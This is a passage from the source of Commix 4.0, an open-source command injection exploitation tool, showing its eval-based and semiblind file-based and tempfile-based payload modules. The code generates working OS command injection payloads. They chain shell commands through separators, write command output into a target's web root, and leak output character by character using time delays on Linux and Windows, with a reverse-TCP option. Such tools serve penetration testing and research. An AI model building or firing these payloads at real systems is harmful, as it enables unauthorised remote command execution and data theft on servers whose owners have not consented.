"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"` " + python_payload + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)" +
separator
)
else:
payload = ("print(`echo " + TAG +
separator +python_payload +
separator + "echo " + TAG +
separator + "echo " + TAG + "`)%3B"
)
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do @set /p = %i " + settings.CMD_NUL
)
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + cmd + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator + cmd +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
else:
settings.USER_APPLIED_CMD = cmd
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + cmd + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator + cmd +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, TAG, cmd):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " +
settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" +
"') do @set /p = %i " + settings.CMD_NUL
)
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + python_payload + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator + python_payload +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
"`echo " + TAG + "`." +
"`" + cmd + "`." +
"`echo " + TAG + "`." +
"`echo " + TAG + "`)"
)
else:
payload = ("print(`echo '" + TAG + "'" +
separator + "echo '" + TAG + "'" +
separator +cmd +
separator + "echo '" + TAG + "'" +
separator + "echo '" + TAG + "'`)%3B"
)
return payload
# eof commix-4.0/src/core/injections/semiblind/ 0000775 0000000 0000000 00000000000 14731205621 0020504 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/semiblind/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0022621 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/semiblind/techniques/ 0000775 0000000 0000000 00000000000 14731205621 0022654 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/semiblind/techniques/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0024771 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/semiblind/techniques/file_based/ 0000775 0000000 0000000 00000000000 14731205621 0024731 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/semiblind/techniques/file_based/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0027046 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/semiblind/techniques/file_based/fb_handler.py 0000775 0000000 0000000 00000002245 14731205621 0027375 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import handler
"""
The "file-based" technique on semiblind OS command injection.
"""
"""
The "file-based" injection technique handler
"""
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique)
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
return fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique)
# eof
commix-4.0/src/core/injections/semiblind/techniques/file_based/fb_injector.py 0000775 0000000 0000000 00000002560 14731205621 0027575 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import injector
"""
The "file-based" technique on semiblind OS command injection.
"""
"""
The main command injection exploitation.
"""
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique):
return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
"""
Find the URL directory.
"""
def injection_output(url, OUTPUT_TEXTFILE, timesec, technique):
return injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique)
"""
Command execution results.
"""
def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec):
return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
# eof commix-4.0/src/core/injections/semiblind/techniques/file_based/fb_payloads.py 0000775 0000000 0000000 00000010462 14731205621 0027574 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
"""
The "file-based" technique on semiblind OS command injection.
The available "file-based" payloads.
"""
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
"""
File-based decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, OUTPUT_TEXTFILE):
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'"
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL
)
else:
payload = (separator +
"echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE +
separator
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p = %i " + settings.CMD_NUL
)
else:
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")"
)
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True :
payload = payload.replace("\n", separator)
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
if settings.TFB_DECIMAL == True:
payload = (separator + cmd)
elif settings.TARGET_OS == settings.OS.WINDOWS:
cmd = cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p = %i " + settings.CMD_NUL
)
else:
settings.USER_APPLIED_CMD = cmd
payload = (separator +
cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE +
separator
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p = %i " + settings.CMD_NUL
)
else:
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")"
)
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", separator)
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
# eof commix-4.0/src/core/injections/semiblind/techniques/tempfile_based/ 0000775 0000000 0000000 00000000000 14731205621 0025617 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/injections/semiblind/techniques/tempfile_based/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0027734 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py 0000775 0000000 0000000 00000003463 14731205621 0030452 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.core.injections.controller import checks
from src.core.injections.controller import handler
"""
The "tempfile-based" injection technique on semiblind OS command injection.
__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results.
"""
"""
The "tempfile-based" injection technique handler
"""
def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path):
return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path)
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response):
settings.WEB_ROOT = ""
# Check if attack is based on time delays.
if not settings.TIME_RELATIVE_ATTACK :
checks.time_relative_attaks_msg()
settings.TIME_RELATIVE_ATTACK = True
injection_type = settings.INJECTION_TYPE.SEMI_BLIND
technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED
if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False:
settings.TIME_RELATIVE_ATTACK = settings.TEMPFILE_BASED_STATE = False
return False
# eof commix-4.0/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py 0000775 0000000 0000000 00000003302 14731205621 0030642 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.core.injections.controller import injector
"""
The "tempfile-based" injection technique on semiblind OS command injection.
__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls.
"""
"""
The main command injection exploitation.
"""
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
"""
False Positive check and evaluation.
"""
def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique):
return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique)
# eof commix-4.0/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py 0000775 0000000 0000000 00000072674 14731205621 0030663 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
"""
The "tempfile-based" technique on Semiblind OS Command Injection.
The available "tempfile-based" payloads.
"""
"""
Tempfile-based decision payload (check if host is vulnerable).
"""
def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand +
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
"str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str} " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
"sleep " + str(timesec) +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe +
"[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE +
pipe + "tr -d '\\n'" +
pipe + "wc -c) ] " + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE +
# Find the length of the output, using readline().
"[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " +
separator
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe +
"for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %y==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" +
# Transform to ASCII
pipe +
"for /f \"tokens=*\" %x in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE +
"do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'"
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand +
"for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none "
"([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')"
"do if %y==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" +
# Transform to ASCII
ampersand +
"for /f \"tokens=*\" %x in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE +
"do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'"
)
else:
settings.USER_APPLIED_CMD = cmd
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
"echo $str > " + OUTPUT_TEXTFILE + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
"then sleep 0 " + separator +
"else sleep " + str(timesec) + separator +
# Transform to ASCII
"str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator +
"echo $str1 > " + OUTPUT_TEXTFILE + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0 " + separator +
"str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator +
"echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
"[ " + str(j) + " -eq ${str1} ]" + separator +
"sleep " + str(timesec) + separator +
# Transform to ASCII
"str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator +
"echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
cmd = cmd.rstrip()
cmd = checks.add_command_substitution(cmd)
payload = (pipe +
cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe +
"[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe +
"tr -d '\\n'" + pipe + "wc -c) ]" + separator +
"sleep " + str(timesec) +
separator
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
"if [ " + str(j) + " -ne ${str1} ] " + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi" +
separator
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " +
separator
)
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE +
"[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" +
separator
)
else:
pass
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", ";")
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
